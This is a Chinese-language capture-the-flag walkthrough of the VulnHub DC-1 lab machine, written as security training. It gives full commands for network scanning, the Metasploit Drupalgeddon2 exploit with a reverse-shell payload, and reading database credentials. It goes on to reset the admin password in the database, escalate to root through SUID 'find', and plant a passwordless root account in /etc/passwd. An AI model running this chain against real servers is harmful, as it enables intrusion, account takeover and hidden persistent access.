前言
这篇文章是零度安全2021年的首篇文章,后期将会陆续更新打靶,实战系列的文章。
在这里也感谢大家对零度安全的支持与信任。
前期准备工作
今天要渗透的靶机是DC-1,首先需要将靶机下载下来。
靶机的下载地址是:https://www.vulnhub.com/entry/dc-1-1,292/
当把靶机下载好之后导入到VMware虚拟机当中,然后运行。
打开看到这个画面就说明已经把环境搭建好了,现在我们的目的就是拿下这个服务器。
1. 第一步信息收集
首先我们得知道这个服务器的ip地址是多少
在Kali中通过一下两个命令中任意一个获取到,目的是扫描整个网段可以ping通的IP:
nmap -sP 192.168.202.0/24
netdiscover-r 192.168.202.0/24
这里我用的是 netdiscover -r IP这个命令 ,可以看到192.168.202.125 就是我们的靶机,通过一下命令获取靶机开放的端口。
nmap -A 192.168.202.125
开放了80,111,和22端口
我们在页面访问80端口
看到是个典型的CMS。
2. 指纹识别
通过下面这个命令,可以获取到CMS名称,版本信息,开发语言
whatweb -v http://192.168.202.125/
通过探测识别我们可以看到,系统是Drupal框架。
3. 目录扫描
通过dirb扫描整个文章,看是否可以有利用的信息。
dirb http://192.168.202.125/。
但是并没有扫描出理想文件目录出来。
4. 漏洞利用
既然没有可以利用的点,那直接使用MSF,进行Drupal框架漏洞利用
进入kali 输入 msfconsole 打开MSF
搜索漏洞
search drupal
可以看到一堆可利用的漏洞,这里我们使用drupal_drupalgeddon2漏洞,可以直接getshell
输入
use exploit/unix/webapp/drupal_drupalgeddon2 #选择这个exp模块
这个时候MSF提示没有设置payload,所以需要设置一下payload
输入:set payload php/meterpreter/reverse_tcp
设置成功
既然我们要使用drupal_drupalgeddon2这个漏洞,那我们就得看下这个漏洞如何使用?
输入:
show options
可以看到我们需要输入靶机IP地址就可以。
输入:
set RHOSTS 192.168.202.125
设置好之后
输入exploit 开始进行漏洞攻击
在输入 shell
这个时候我们己经拿到了getshell
首先查看当前用户,输入whoami
发现不是root用户没关系,在找找其他突破口
ls一下,拿到flag1.txt
查看flag1.txt之后,他已经给我们了第二个提示,需要去找drupal配置文件。
获取一个完全交互式shell输入:
python -c 'import pty;pty.spawn ("/bin/bash")'
获取完全交互的shell,方便后面输入命令。
5. 寻找配置文件
找来找去,终于找到了,配置文件
sites/default/settings.php
我可以看到拿到了flag2,并且还拿到了数据库的账号和密码:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'driver' => 'mysql'
首先查看mysql的服务是否启动:
netstat -anptl
看到mysql是启动的,但是无法进行远程连接,既然这样,接下来的思路就是直接在shell中连接数据库,然后修改页面登录密码,进入页面后台。
输入
mysql -udbuser -pR0ck3t #连接数据库
输入
show databases; #查看数据库
use drupaldb; #选择数据库
show tables; #查看当前数据库下的表名
可以看到users表
select * from usersG;
可以看到这个表存储的是账号和密码
修改admin这条数据的密码,我们需要一个加密过的密码。
通过寻找我们发现drupal的加密文件在scripts/password-hash.sh这个位置下。
退出mysql
exit;
输入phpscripts/password-hash.sh 123456
这个时候我们获取了123456 加密后的密码
进入数据库执行
update users set pass='SDlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM'where uid=1
这个时候我们就修改了密码,现在去后台登录试试
进入后台。
6. 页面操作
在逛页面的时候我们看到了flag3
打开看看写了什么
根据提示告诉我们可以去看下密码文件
进入msf会话中,去看下/etc/passwd文件
看到了fag4,提示我们去/home寻找线索
于是:
cd /home
cd flag4
cat flag4.txt
提示我们需要越权。
7. 越权
输入命令,目的是为了使用find命令查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
可以看到find也在其中,直接使用find命令进行越权
输入
find/home/flag4 -exec "whoami" ;
这里flag4是目录,你也可以指向任意目录
可以看到find是root权限
输入
find/home/flag4 -exec "/bin/sh" ;
提权成功
进入root目录查看最后一个flag
到这就拿下了整个靶机
为了登录方便执行
echo'admin::0:0:: /root:/bin/bash' >> /etc/passwd
给服务器写入账户为admin的免密登录账号,方便下次登录
8.总结
通过这个靶机有几个点你得掌握
1.使用nmap ,whatweb ,netdiscover 工具进行信息收集,获取到靶机的各个信息。
2.了解drupal,wordpress,joomla,是PHP三大CMS框架,很多基础信息需要通过百度来获取,比如上述的drupal数据库密码生成位置,和数据库配置。
3.掌握MSF的使用方法,通过MSF框架进行对靶机项目的漏洞利用。
4.必须掌握数据库操作,查询库,表,数据,修改,添加等操作。
5.find提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。